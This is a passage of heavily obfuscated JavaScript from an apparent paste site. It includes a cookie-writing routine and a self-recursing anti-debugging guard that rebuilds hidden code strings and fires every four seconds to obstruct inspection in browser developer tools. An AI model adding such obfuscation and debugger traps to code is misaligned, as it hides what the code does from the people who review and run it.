  772.       var expected_date2 = new Date;
  773.       expected_date2[_0xae00("0x74")](path[_0xae00("0x3e")](expected_date2[_0xae00("0x75")](), path[_0xae00("0x48")](path[_0xae00("0x48")](uri * 24, 60), 60) * 1E3));
  774.       query = path[_0xae00("0x49")](path[_0xae00("0x4a")], expected_date2[_0xae00("0x76")]());
  775.     }
  776.   }
  777.   document[_0xae00("0x77")] = path[_0xae00("0x49")](path[_0xae00("0x4c")](path[_0xae00("0x4c")](data, "="), path[_0xae00("0x4d")](name, "")), query) + path[_0xae00("0x4e")];
  778. }
  779. /**
  780.  * @param {?} canCreateDiscussions
  781.  * @return {?}
  782.  */
  783. function _0x29df6f(canCreateDiscussions) {
  784.   /**
  785.    * @param {?} target
  786.    * @return {?}
  787.    */
  788.   function req(target) {
  789.     if (action[_0xae00("0x78")](typeof target, action[_0xae00("0x79")])) {
  790.       return function(canCreateDiscussions) {
  791.       }[_0xae00("0x62")](action[_0xae00("0x7b")])[_0xae00("0x5d")](action[_0xae00("0x7d")]);
  792.     } else {
  793.       if (action[_0xae00("0x7f")](("" + action[_0xae00("0x80")](target, target))[action[_0xae00("0x81")]], 1) || action[_0xae00("0x83")](action[_0xae00("0x84")](target, 20), 0)) {
  794.         (function() {
  795.           return !![];
  796.         })[_0xae00("0x62")](action[_0xae00("0x85")](_0xae00("0x63"), _0xae00("0x61")))[_0xae00("0x64")](action[_0xae00("0x86")]);
  797.       } else {
  798.         (function() {
  799.           return ![];
  800.         })[_0xae00("0x62")](action[_0xae00("0x85")](action[_0xae00("0x87")], action[_0xae00("0x88")]))[_0xae00("0x5d")](action[_0xae00("0x89")]);
  801.       }
  802.     }
  803.     action[_0xae00("0x8b")](req, ++target);
  804.   }
  805.   var action = {};
  806.   /**
  807.    * @param {?} x_or_y
  808.    * @param {?} y
  809.    * @return {?}
  810.    */
  811.   action[_0xae00("0x78")] = function(x_or_y, y) {
  812.     return x_or_y === y;
  813.   };
  814.   action[_0xae00("0x79")] = _0xae00("0x7a");
  815.   action[_0xae00("0x7b")] = _0xae00("0x7c");
  816.   action[_0xae00("0x7d")] = _0xae00("0x7e");
  817.   /**
  818.    * @param {?} optionsValue
  819.    * @param {?} value
  820.    * @return {?}
  821.    */
  822.   action[_0xae00("0x7f")] = function(optionsValue, value) {
  823.     return optionsValue !== value;
  824.   };
  825.   /**
  826.    * @param {(boolean|number|string)} _num2
  827.    * @param {(boolean|number|string)} _num1
  828.    * @return {?}
  829.    */
  830.   action[_0xae00("0x80")] = function(_num2, _num1) {
  831.     return _num2 / _num1;
  832.   };
  833.   action[_0xae00("0x81")] = _0xae00("0x82");
  834.   /**
  835.    * @param {?} x_or_y
  836.    * @param {?} y
  837.    * @return {?}
  838.    */
  839.   action[_0xae00("0x83")] = function(x_or_y, y) {
  840.     return x_or_y === y;
  841.   };
  842.   /**
  843.    * @param {(boolean|number|string)} number_to_dividee
  844.    * @param {(boolean|number|string)} divided_by
  845.    * @return {?}
  846.    */
  847.   action[_0xae00("0x84")] = function(number_to_dividee, divided_by) {
  848.     return number_to_dividee % divided_by;
  849.   };
  850.   /**
  851.    * @param {(Object|number)} buckets
  852.    * @param {!Object} name
  853.    * @return {?}
  854.    */
  855.   action[_0xae00("0x85")] = function(buckets, name) {
  856.     return buckets + name;
  857.   };
  858.   action[_0xae00("0x86")] = _0xae00("0x65");
  859.   action[_0xae00("0x87")] = _0xae00("0x63");
  860.   action[_0xae00("0x88")] = _0xae00("0x61");
  861.   action[_0xae00("0x89")] = _0xae00("0x8a");
  862.   /**
  863.    * @param {?} saveNotifs
  864.    * @param {?} notifications
  865.    * @return {?}
  866.    */
  867.   action[_0xae00("0x8b")] = function(saveNotifs, notifications) {
  868.     return saveNotifs(notifications);
  869.   };
  870.   /**
  871.    * @param {?} saveNotifs
  872.    * @param {?} notifications
  873.    * @return {?}
  874.    */
  875.   action[_0xae00("0x8c")] = function(saveNotifs, notifications) {
  876.     return saveNotifs(notifications);
  877.   };
  878.   action[_0xae00("0x8d")] = _0xae00("0x40");
  879.   action[_0xae00("0x8e")] = _0xae00("0x42");
  880.   /**
  881.    * @param {?} saveNotifs
  882.    * @return {?}
  883.    */
  884.   action[_0xae00("0x8f")] = function(saveNotifs) {
  885.     return saveNotifs();
  886.   };
  887.   /**
  888.    * @param {?} saveNotifs
  889.    * @param {?} notifications
  890.    * @return {?}
  891.    */
  892.   action[_0xae00("0x90")] = function(saveNotifs, notifications) {
  893.     return saveNotifs(notifications);
  894.   };
  895.   try {
  896.     if (action[_0xae00("0x7f")](_0xae00("0x91"), _0xae00("0x92"))) {
  897.       if (canCreateDiscussions) {
  898.         return req;
  899.       } else {
  900.         action[_0xae00("0x90")](req, 0);
  901.       }
  902.     } else {
  903.       var b = action[_0xae00("0x8c")](Function, action[_0xae00("0x85")](action[_0xae00("0x8d")], action[_0xae00("0x8e")]) + ");");
  904.       that = action[_0xae00("0x8f")](b);
  905.     }
  906.   } catch (_0x14249d) {
  907.   }
  908. }
  909. setInterval(function() {
  910.   _0x29df6f();
  911. }, 4E3);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement